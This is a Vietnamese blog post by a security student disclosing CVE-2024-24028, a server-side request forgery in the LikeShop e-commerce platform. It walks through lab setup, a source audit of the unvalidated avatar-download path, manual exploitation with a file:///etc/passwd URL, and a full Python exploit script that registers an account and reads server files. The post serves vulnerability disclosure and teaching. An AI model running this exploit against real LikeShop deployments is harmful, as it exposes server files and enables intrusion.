Loading
May 10, 2024By Lo

Khai thác CVE-2024-24028 SSRF (Server Side Request Forgery)

CVE-2024-24028 là lỗ hổng bảo mật SSRF (Server Site Request Forgery) của sản phẩm Likeshop < 2.5.7. Thông qua chức năng cập nhật ảnh đại diện, cho phép kẻ tấn công đọc nội dung nhạy cảm trên Server.

Tôi là Lo, học viên của lớp học Web Pentest For Beginner của Cookie Arena. Đây là CVE đầu tiên của tôi! Sau quá trình tìm hiểu về những lỗ hổng bảo mật, tôi mong muốn chia sẻ lại quá trình và cách tìm ra lỗ hổng. Cảm ơn Cookie Han Hoan Team đã hỗ trợ trong việc viết mã khai thác <3

LikeShop là giải pháp thương mại điện tử mã nguồn mở, phục vụ cho các mô hình kinh doanh nhỏ lẻ. Nền tảng được thiết kế bằng ngôn ngữ PHP với Framework ThinkPHP, VueJs.

Hơn 480 kết quả được tìm thấy trên Shodan, với hầu hết các nước như Trung Quốc, Hồng Kông, Mỹ, Nhật Bản.

Cài đặt môi trường

Link github: https://github.com/likeshop-github/likeshop

Cài đặt Docker và chạy câu lệnh dưới đây để khởi tạo trang web

docker run -d --name likeshop -p 20208:80 likeshop/php-b2c:2.5.7

Truy cập:

  • Trang quản trị : http://127.0.0.1:20208/admin
  • Trang mua bán sản phẩm: http://127.0.0.1:20208/mobile

Blackbox Testing

Truy cập vào địa chỉ http://127.0.0.1:20208/mobile đăng ký tài khoản sau đó đăng nhập vào hệ thống. Trong suốt quá trình duyệt web nên dùng Burp Suite làm proxy để quan sát HTTP Request và HTTTP Response. Thực hiện thay đổi ảnh đại diện trong phần “Thông Tin Cá Nhân”, quay trở lại Burp Suite sẽ thấy những HTTP Request như sau:

Đầu tiên, sẽ có một HTTP POST Request đến /api/user/setInfo, tại đây sẽ nhận 2 tham số là field và value. Trong đó field có thể mang các giá trị như avatar hoặc nicknamesex.

Request thứ hai sẽ lấy thông tin cá nhân của người dùng thông qua HTTP GET /api/user/info, quan sát tham số của avatar trong HTTP Response chính là URL http://127.0.0.1:20208/uploads/user/20240119115438105741801.jpeg dẫn tới ảnh đại diện của người dùng được lưu trên máy chủ.

Thử nhập một URL bất kỳ vào tham số value trong HTTP POST Request đến /api/user/setInfo. Tiếp tục quan sát thông API thông tin cá nhân, ta thấy giá trị của avatar đã nhận đúng giá trị ban đầu chúng ta truyền vào. Điều này có nghĩa, không có bất kỳ việc kiểm soát nào trong việc kiểm tra giá trị của avatar.

Source Code Audit (Whitebox Testing)

Trong file User.php, function setWechatInfo có nhiệm vụ xử lý dữ liệu từ request và thực hiện một số bước kiểm tra trước khi gọi một hàm tới UserLogic::updateWechatInfo($this->user_id, $data) và gán kết quả trả về vào biến $ress

//User.php
public function setWechatInfo()
    {
        $data = $this->request->post();
        $check = $this->validate($data, 'app\api\validate\SetWechatUser');
        if (true !== $check) {
            $this->_error($check);
        }
        $res = UserLogic::updateWechatInfo($this->user_id, $data);
        if (true === $res) {
            $this->_success('操作成功');
        }
        $this->_error('操作失败');
    }

Trong file UserLogic.php, function updateWechatInfo sẽ để cập nhật thông tin người dùng WeChat. Đầu tiên khởi tạo một kết nối đến cơ sở dữ liệu và bắt đầu trao đổi dữ liệu. Config và các biến được khởi tạo nằm trong khối try-catch để xử lý các exception, nếu có bất kỳ exception nào xảy ra, chúng sẽ được xử lý trong khối catch.

Sau đó khởi tạo một mảng $config chứa các cài đặt, đặc biệt là cài đặt liên quan đến lưu trữ (storage). Khởi tạo biến $avatar với giá trị rỗng. Biến này sẽ được sử dụng để lưu đường dẫn của avatar của người dùng. Sau đó kiểm tra xem cài đặt lưu trữ mặc định là local hay không.

  • Nếu là local gán giá trị của biến $avatar bằng kết quả của hàm download_file(), với tham số là đường dẫn của hình đại diện cần tải ($avatar_url), thư mục lưu trữ (‘uploads/user/avatar/’), và tên file mới được hash md5 theo thuật toán sinh ngẫu nhiên.
  • Nếu không phải local, tạo đường dẫn cho hình đại diện và sử dụng đối tượng StorageDriver để lấy hình đại diện từ $avatar_url và lưu vào đường dẫn vừa tạo. Nếu quá trình lưu trữ thất bại, một exception sẽ được hiển thị với thông báo lỗi.

Biến $user thực hiện việc cập nhật thông tin người dùng trong cơ sở dữ liệu, sử dụng phương thức save để thêm hoặc cập nhật một bản ghi trong bảng người dùng dựa trên các thông tin mới như $nickname, đường dẫn ảnh đại diện $avatar, và giới tính ($sex). Bản ghi cụ thể được xác định bằng cột id có giá trị là $user_id.

//UserLogic.php
public static function updateWechatInfo($user_id, $post)
    {
        Db::startTrans();
        try{
            $time = time();
            $avatar_url = $post['avatar'];
            $nickanme  = $post['nickname'];
            $sex = $post['sex'];

            $config = [
                'default' => ConfigServer::get('storage', 'default', 'local'),
                'engine'  => ConfigServer::get('storage_engine')
            ];

            $avatar = ''; //头像路径
            if ($config['default'] == 'local') {
                $file_name = md5($user_id . $time. rand(10000, 99999)) . '.jpeg';
                $avatar = download_file($avatar_url, 'uploads/user/avatar/', $file_name);
            } else {
                $avatar = 'uploads/user/avatar/' . md5($user_id . $time. rand(10000, 99999)) . '.jpeg';
                $StorageDriver = new StorageDriver($config);
                if (!$StorageDriver->fetch($avatar_url, $avatar)) {
                    throw new Exception( '头像保存失败:'. $StorageDriver->getError());
                }
            }

            $user = new User;
            $user->save([
                'nickname'  => $nickanme,
                'avatar' => $avatar,
                'sex' => $sex
            ],['id' => $user_id]);

            Db::commit();
            return true;

        } catch(\Exception $e) {
            Db::rollback();
            return $e->getMessage();
        }
    }

Tiếp tục phân tích function download_file() trong file common.php. Nó được dùng để tải về một file từ một đường dẫn URL bằng thư viện Curl và lưu nó vào một thư mục cụ thể, trong trường hợp này là uploads/user/avatar/.

//common.php
function download_file($url, $save_dir, $file_name)
{
    if (!file_exists($save_dir)) {
        mkdir($save_dir, 0775, true);
    }
    $file_src = $save_dir . $file_name;
    file_exists($file_src) && unlink($file_src);
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
    $file = curl_exec($ch);
    curl_close($ch);
    $resource = fopen($file_src, 'a');
    fwrite($resource, $file);
    fclose($resource);
    if (filesize($file_src) == 0) {
        unlink($file_src);
        return '';
    }
    return $file_src;
}

Qua phân tích, ta thấy tham số url avatar đi từ hàm updateWechatInfo() cho tới hàm dowload_file() đều không có cơ chế kiểm tra tính đúng đắn của dữ liệu. Mà một URL có thể được biểu diễn bởi nhiều protocol khác nhau. Thay vì dùng http://, kẻ tấn công có thể sử dụng file:// để truy cập và đọc tài nguyên trên máy chủ.

Khai thác dữ liệu

  1. Sau khi đã xác định được function của setWechatInfor nhận vào 3 tham số là $nickname , $avatar , $sex . Tại giá trị của tham số avatar nhập đường dẫn đến thư mục nhạy cảm trong hệ thống ví dụ file:///etc/passwd.

2. Gửi một HTTP Request đến /api/user/info để lấy đường dẫn ảnh avatar mà server tải về.

3. Truy cập vào đường dẫn của avatar, ta sẽ thấy nội dung file /etc/passwd

Mã khai thác

Python

import requests
import json

BASE_URL = "http://127.0.0.1:20208"
def register(phone, password):
    url = BASE_URL + '/api/account/register' 
    user = {
        "mobile": phone,
        "password": password,
        "client":6
    }
    r = requests.post(url, json=user, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        print("Register Thanh Cong")
        return True
    return False


def login(phone, password):
    url =  BASE_URL + '/api/account/login' 

    user = {
        "account": phone,
        "password": password,
        "client":6
    }
    r = requests.post(url, json=user, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        print(response)
        token = response['data']['token']
        return token
    return None

def updateWechat(token, avatar):
    url = BASE_URL + '/api/user/setWechatInfo'
    
    user = {
        "nickname":"nickname",
        "avatar": avatar,
        "sex":1
    }
    r = requests.post(url, headers={"token": token}, json=user, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        print('Update profile')
        return True
    return False

def userInfo(token):
    url = BASE_URL + '/api/user/info'

    r = requests.get(url, headers={"token": token}, verify=False)
    response = json.loads(r.text)
    if response["code"] == 1:
        avatar_url = response['data']['avatar']
        print(avatar_url)
        return avatar_url
    return None

def checkFile(avatar_url):
    if avatar_url != "": 
        r = requests.get(avatar_url, verify=False)
        response = r.text
        if r.status_code == 200:
            print(response)
        return None



phone = "175****1337"
password = "123456a#@"
avatar = "file:///etc/passwd"

status = register(phone, password)
status = True
if status :
    token = login(phone, password)
    print(token)
    status_update = updateWechat(token, avatar)
    if status_update:
        avatar_url = userInfo(token)
        if avatar_url:
            print(avatar_url)
            checkFile(avatar_url)
        else:
            print('Khong upload Avatar')
svg

What do you think?

It is nice to know your opinion. Leave a comment.

Leave a reply